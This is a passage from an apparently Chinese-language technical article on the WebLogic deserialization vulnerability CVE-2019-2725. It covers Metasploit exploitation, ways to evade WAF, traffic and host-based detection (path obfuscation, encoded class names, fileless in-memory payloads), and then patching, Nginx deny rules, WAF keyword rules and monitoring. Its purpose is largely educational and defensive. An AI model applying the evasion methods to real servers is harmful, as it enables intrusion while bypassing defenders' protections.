exploit如果成功你将获得一个Meterpreter会话可以执行文件操作、提权、信息搜集、横向移动等一系列后渗透动作。注意事项Metasploit模块的利用链可能基于特定的ysoserialgadget链如CommonsCollections1。如果目标环境因为JDK版本、ClassPath差异导致该链不生效攻击会失败。这时可能需要手动分析环境调整或选择其他gadget链如CommonsCollections2、CommonsCollections3、CommonsBeanutils1等这也是手工复现价值所在。4.3 绕过防御与隐蔽利用随着该漏洞的普及防守方也增加了各种防护措施。路径黑名单很多WAF或安全设备会拦截包含/wls-wsat/、/_async/的请求。绕过思路路径混淆尝试使用大小写变形如/Wls-Wsat/、多余斜杠///wls-wsat///、URL编码%2f%77%6c%73%2d%77%73%61%74%2f等方式。利用其他端点除了常见的两个研究其他可能触发相同反序列化逻辑的端点。前端代理后真实路径目标可能通过Nginx/Apache反向代理外部路径与内部WebLogic路径不同需要信息搜集。流量特征检测攻击载荷中包含特定的类名oracle.toplink.internal.sessions.UnitOfWorkChangeSet和序列化数据特征。绕过思路类名混淆对XML中的类名进行双URL编码、Unicode编码等。载荷编码与分片将整个恶意XML进行Base64编码后传输或在SOAP消息体中分片传输。使用替代gadget链寻找其他不在常见特征库中的、可利用的WebLogic内置类来构造利用链。主机层防护安装了杀毒软件或HIDS主机入侵检测系统。绕过思路无文件落地利用漏洞直接向内存中写入Shellcode或加载恶意类避免在磁盘上创建可执行文件。执行无害命令探测初始探测使用whoami、id、ping等看似正常的命令避免触发敏感告警。使用纯内存的Meterpreter配合java/meterpreter/reverse_tcp等Payload大部分操作在内存中完成。5. 漏洞防御与修复指南作为防御方面对CVE-2019-2725这样的高危漏洞必须采取多层次、立体的防御策略。5.1 紧急临时处置措施如果无法立即升级应立即采取以下临时加固措施删除或禁用漏洞组件这是最直接有效的方法。找到WebLogic安装目录下的wls-wsat.war和async相关应用包直接删除或重命名。通常路径为$WEBLOGIC_HOME/user_projects/domains/base_domain/servers/AdminServer/tmp/_WL_internal/和$WEBLOGIC_HOME/wlserver_10.3/server/lib/。删除后需要重启WebLogic服务才能生效。注意直接删除文件可能在后续补丁或升级时带来问题。更推荐通过控制台禁用。通过控制台禁用服务登录WebLogic管理控制台 (http://host:port/console)。在左侧域结构中找到“部署”。在部署列表中找到“wls-wsat”和“async”可能显示为“bea_wls9_async_response”等。选中它们点击“停止” - “为所有请求提供服务”。确保其状态变为“未活动”。同样重启服务后生效。网络层访问控制在防火墙或WebLogic前端的代理服务器如Nginx上配置规则直接拦截或返回错误码给对/_async/*和/wls-wsat/*路径的访问请求。Nginx配置示例location ~ ^/(_async|wls-wsat)/ { deny all; return 403; }5.2 官方补丁升级长期根本的解决方案是安装Oracle官方发布的补丁。对于CVE-2019-2725Oracle在2019年4月和7月的关键补丁更新CPU中进行了修复。确定你的WebLogic版本查看$WEBLOGIC_HOME/.product.properties文件或管理控制台首页。访问Oracle官方支持网站根据你的具体版本如10.3.6.0下载对应的关键补丁更新CPU。例如对于10.3.6.0需要安装2019年4月CPU Apr 2019及之后的补丁。仔细阅读补丁说明确认该补丁确实包含了针对CVE-2019-2725的修复。按照Oracle官方指南进行补丁安装通常使用OPatch工具。务必在测试环境验证后再应用到生产环境。5.3 纵深防御体系建设单点修补不足以应对未来的威胁需要构建体系化的防御。最小权限原则运行WebLogic服务的操作系统账户不应具有过高权限如root/Administrator。使用专用低权限账户。网络隔离与分段将WebLogic服务器部署在内网严格限制外部访问。只开放必要的业务端口如7001, 80, 443管理控制台端口禁止从互联网访问。部署Web应用防火墙WAF配置WAF规则拦截包含WorkContext、UnitOfWorkChangeSet、XMLDecoder等关键词的异常SOAP请求以及检测反序列化攻击的通用特征。启用WebLogic自身安全特性配置反序列化过滤器在WebLogic 12.2.1及以上版本可以配置weblogic.security.utils.FilteringObjectInputStream来定义更严格的反序列化类白名单。使用安全域Security Realm为所有服务包括可能被忽略的Web Service端点配置强制身份认证。常态化安全监测日志审计开启并定期分析WebLogic访问日志access.log和诊断日志diagnostic.log关注对可疑路径的访问和异常错误堆栈如ClassNotFoundException,InvalidClassException等。入侵检测在主机层部署HIDS监控WebLogic进程的异常子进程启动行为如突然执行bash、cmd、powershell。定期漏洞扫描使用Nexpose, Nessus, OpenVAS等工具定期对WebLogic服务进行漏洞扫描。6. 从CVE-2019-2725看Java反序列化漏洞的攻防CVE-2019-2725绝非孤例它是Java反序列化漏洞家族中的一个典型代表。剖析它能为我们理解整个攻防面打开一扇窗。6.1 漏洞模式的共性这类漏洞通常遵循一个模式“不可信数据源 - 危险反序列化API - 可利用的类Gadget Chain - 代码执行”。不可信数据源HTTP请求参数、RMI通信、JMX、JMS消息、文件上传、数据库存储等。CVE-2019-2725的数据源是SOAP消息头。危险APIObjectInputStream.readObject(),XMLDecoder.readObject(),XStream.fromXML(),ObjectMapper.readValue()等。它们默认信任输入数据。Gadget Chain一系列在ClassPath中存在的、可被串联起来的类其方法调用最终能导向危险操作如Runtime.exec()、ProcessBuilder.start()、JNDI注入、反射调用等。UnitOfWorkChangeSet只是其中一环。6.2 攻击者的武器库演变从最初的Apache Commons Collections链到Spring、Groovy、Jython、Jboss、Mozilla Rhino等各种第三方库中的gadget被挖掘出来攻击者的武器库日益丰富。工具也从ysoserial发展到功能更强大的marshalsec。攻击思路也从直接执行命令发展到加载远程类JNDI注入、写入内存马WebShell in Memory等更隐蔽的方式。6.3 防御思路的升级防御也在不断进化输入验证与过滤对反序列化操作的数据源进行严格的白名单校验。类黑名单/白名单像WebLogic自己的FilteringObjectInputStream或使用SerialKiller、Hessian的白名单机制。白名单优于黑名单。升级与替换升级存在危险gadget的第三方库版本用更安全的序列化方案如JSON、Protocol Buffers替换Java原生序列化。运行时防护使用Java Agent技术进行运行时监控如RASP运行时应用自保护在readObject()等关键方法被调用时进行栈回溯检查拦截恶意gadget链的调用。代码审计在代码层面避免直接反序列化不可信数据。如果必须使用ObjectInputStream时重写resolveClass方法进行严格校验。6.4 对开发与运维的启示对于开发人员永远不要反序列化不受信任的数据。这是一个安全铁律。在代码评审时要格外关注任何涉及ObjectInputStream、XMLDecoder、XStream、Jackson的enableDefaultTyping()、Fastjson的autoType等功能的代码。对于运维和安全人员资产清点和补丁管理是生命线。必须清楚知道内网有多少个WebLogic实例它们的版本、补丁情况、开放了哪些服务。像/wls-wsat/这种默认开启的非业务关键服务应在安全基线的配置规范中明确要求禁用。建立快速的漏洞应急响应流程对于此类已出现利用代码的N-day漏洞必须在极短时间内完成排查和处置。CVE-2019-2725就像一面镜子照出了在复杂的企业级中间件中一个微小的设计疏忽默认开启、无需认证、危险反序列化如何演变成一条直通核心的攻击路径。它的价值不仅在于教会我们如何利用一个具体的漏洞更在于让我们深刻理解Java反序列化这一大类安全问题的本质、演变和对抗方法从而在未来的工作中无论是攻击、防御还是开发都能多一份警惕和洞察。